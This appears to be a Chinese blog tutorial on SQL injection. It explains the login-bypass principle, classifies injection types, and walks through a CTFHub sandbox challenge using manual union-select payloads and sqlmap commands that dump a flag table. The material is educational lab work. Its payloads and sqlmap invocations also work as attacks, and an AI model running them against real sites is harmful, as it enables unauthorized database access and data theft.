初探SQL注入之GGBond版
SQL注入漏洞
文章目录
- SQL注入漏洞
- 1.SQL注入原理
- 2.SQL注入漏洞分类
- 3.注入实操之ctfhub整数型SQL注入
- 3.1手动注入
- (1)判断是否存在注入
- (2)查询字段数量
- (3)查询SQL语句插入位置
- (4)获取数据库库名
- (5)获取数据库表名
- (6)获取字段名
- (7)获取数据
- 3.2 SQLmap注入
- (1)判断是否存在注入
- (2)获取数据库
- (3)获取当前应用程序所用的数据库
- (4)列出指定数据库的所有表
- (5)读取指定表中的字段名称
- (6)读取指定字段内容
SQL注入漏洞(SQL injection)是Web层面最高危的漏洞之一。在2008年至2010年期间,SQL注入漏洞连续3年在OWASP年度十大漏洞排行中排名第一。
1.SQL注入原理
- 图5 - 1是一个正常的登陆表单,输入账号和密码后,JSP程序会查询数据库:如果存在此用户并且密码正确,将会成功登录,跳转至“FindMsg”页面;如果用户不存在或者密码不正确,则会提示账号或者密码错误。
- 接下来使用一个比较特殊的用户“ ‘or 1=1-- "登录,输入用户名” ’or 1=1-- “,密码可以随意填写或者不写,在点击”登录"按钮后,发现是可以正常登录的。其实在数据库中根本没有“ or 1=1-- ”这个用户,那么为什么会正常登录呢?
- 点击登录按钮后,JSP程序就会启动,然后就会执行SQL语句,在数据库中查询username和password的结果,若查询的值大于0,则代表用户存在,返回true,代表登录成功,否则返回false,代表登陆失败。
- 现在,我们试着提交账号admin,密码password,就会执行以下SQL语句:
select count(*) from admin where username='admin' and password='password'
- 因为存在admin用户,并且密码正确,所以就可以成功登录,而当输入的是“ ‘or 1=1-- ”时,执行的SQL语句为:
select count(*) from admin where username='' or 1=1-- 'and password=''
- 很显然结果必然大于0,后面的password查询被注释掉了,所以就会成功登录。
- 由此可得知,SQL注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。
2.SQL注入漏洞分类
注入类型 | 介绍 |
---|---|
数字型注入 | 输入的参数为整型 |
字符型注入 | 输入的参数为字符型 |
POST注入 | 注入字段在POST数据中 |
Cookie注入 | 注入字段在Cookie数据中 |
延时注入 | 使用数据库延时特性注入 |
搜索注入 | 注入处为搜索的地点 |
base64注入 | 注入字符串需要经过base64加密 |
3.注入实操之ctfhub整数型SQL注入
3.1手动注入
(1)判断是否存在注入
1)加单引号
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
2)加and 1=1
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
3)加and 1=2
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
(2)查询字段数量
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 2
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 3
当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时不一样,故字段数量是2。
(3)查询SQL语句插入位置
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,2
此时要先保证之前的数据查不出来,之后再union。id=-1数据不存在数据库中。可以看到位置2可以插入SQL语句。
(4)获取数据库库名
1)获取当前数据库库名
2位置修改为:database()
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,database()
得到数据库名称为:sqli,由数据库版本可知他是MySQL的一个分支
2)获取所有数据库库名
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
(5)获取数据库表名
1)一次性获取当前数据库所有表名:
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
得到数据库sqli中的表名为news和flag
(6)获取字段名
以flag表为例,一次性获取所有字段名:
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’
(7)获取数据
以flag表为例,一次性获取所有数据:
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(flag) from sqli.flag
3.2 SQLmap注入
(1)判断是否存在注入
sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1”
若存在注入会显示使用数据库类型等一些信息。-u参数指定URL。
(2)获取数据库
sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --dbs
–dbs参数读取数据库。
(3)获取当前应用程序所用的数据库
sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --current-db
–current-db参数列出当前应用程序所使用的数据库。
(4)列出指定数据库的所有表
sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --tables -D “sqli”
–tables参数获取数据库表,-D参数指定数据库。
(5)读取指定表中的字段名称
sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --columns -T “flag” -D “sqli”
–columns参数列取字段名,-T参数指定数据库表。
(6)读取指定字段内容
sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --dump -C “flag” -T “flag” -D “sqli”
–dump参数意为转存数据,-C参数指定表中字段。
初探SQL注入之GGBond版相关推荐
- SQL注入入侵动网SQL版论坛
现在动网最新版本是7.0+SP2.应该说安全性已经是很高的了.所以从脚本本身的问题去突破它难度不小.但是我们可以从外部的一些途径间接"搞定"动网.现在IIS+ASP+SQL2000 ...
- 再谈SQL注入入侵动网SQL版
再谈SQL注入入侵动网SQL版 编辑前言: 这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞.说到底和动网没有什么关系,但因 ...
- 使用jdbc执行SQL实现登录查询2-避免SQL注入版
配置文件及工具类参考1 package com.jdsc;import javax.rmi.CORBA.Util; import java.sql.*; import java.util.Scanne ...
- 初探PHP的SQL注入攻击的技术实现以及预防措施
SQL 攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指 令,在设计不良的程序当中忽略了检 ...
- 防SQL注入代码(ASP版)
<% Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx '---定义部份 头------ Fy_Cl = 1 '处理方式:1=提示信息,2=转向 ...
- C#SQL注入检测——特别是对于旧版.NET代码
目录 使用Decorator模式提供添加SQL注入检测的位置 SQL注入检测代码 究竟如何检测到SQL注入? SQLExtensions类中包含的格式化方法 自定义.NET异常类 用于检测SQL注入的 ...
- SQL万能钥匙注入的终结版
我们登录一个网站的时候会有账户名和密码都要输入进去.这样的方法禁止非法进入网站,它是这样构造SQL语句的,假设填写用户名为marcofly密码为test.因为根据我们提交的用户名和密码被合成到SQL查 ...
- .NET防SQL注入方法
SQL语句 利用SqlCommand传参数的方法: string strSQL="SELECT * FROM [user] WHERE user_id=@id"; SqlCom ...
- mdcsoft服务器网络安全解决方案-SQL注入解决
{ 推荐大家,SQL注入最牛的解决办法在http://blog.mdcsoft.cn/archives/200805/46.html 太强大了,直接从IIS入口直接过滤掉了非法请求,mdcsoft-i ...
最新文章
- [sh]top添加到crontab不生效问题解决
- 大数据审计的发展_从历史的角度看大数据审计发展
- FileStream实现多线程断点续传(已封装)
- 腾腾流氓,云云更流氓(问微信怎样接入支付宝支付),手贱的赶紧点,你会感谢我的...
- Stopping ADB server failed(code -1)
- oracle是CLOB类型mybatis,Mybatis之Oracle增删查改示例(含Date、Clob数据类型操作)
- pytorch torch.nn.RNN
- Integration between SharePoint 2013 and CRM 2013 (On-Premise)
- 逻辑思维与C/C++解题
- java day59【 AOP 的相关概念[理解] 、 Spring 中的 AOP[掌握] 、 Spring 整合 Junit[掌握] 】...
- 简单返回顶部代码及注释说明
- isis软件添加源代码c语言,ProteusISIS和Keil软件入门学习..doc
- linux 有个文件删不掉,Linux下删除不掉的文件
- 【第十一篇】Flowable中的各种网关
- Mac上使用docker环境进行C++开发的实践
- 谁能拒绝一个会动的皮卡丘挂件
- JS 日期的获取和计算 ios不兼容问题
- 计算平均值和标准方差。
- iOS开发概述-12.手势处理
- 【PaddlePaddle论文复现】LARGE SCALE GAN TRAINING FOR HIGH FIDELITY NATURAL IMAGE SYNTHESIS阅读心得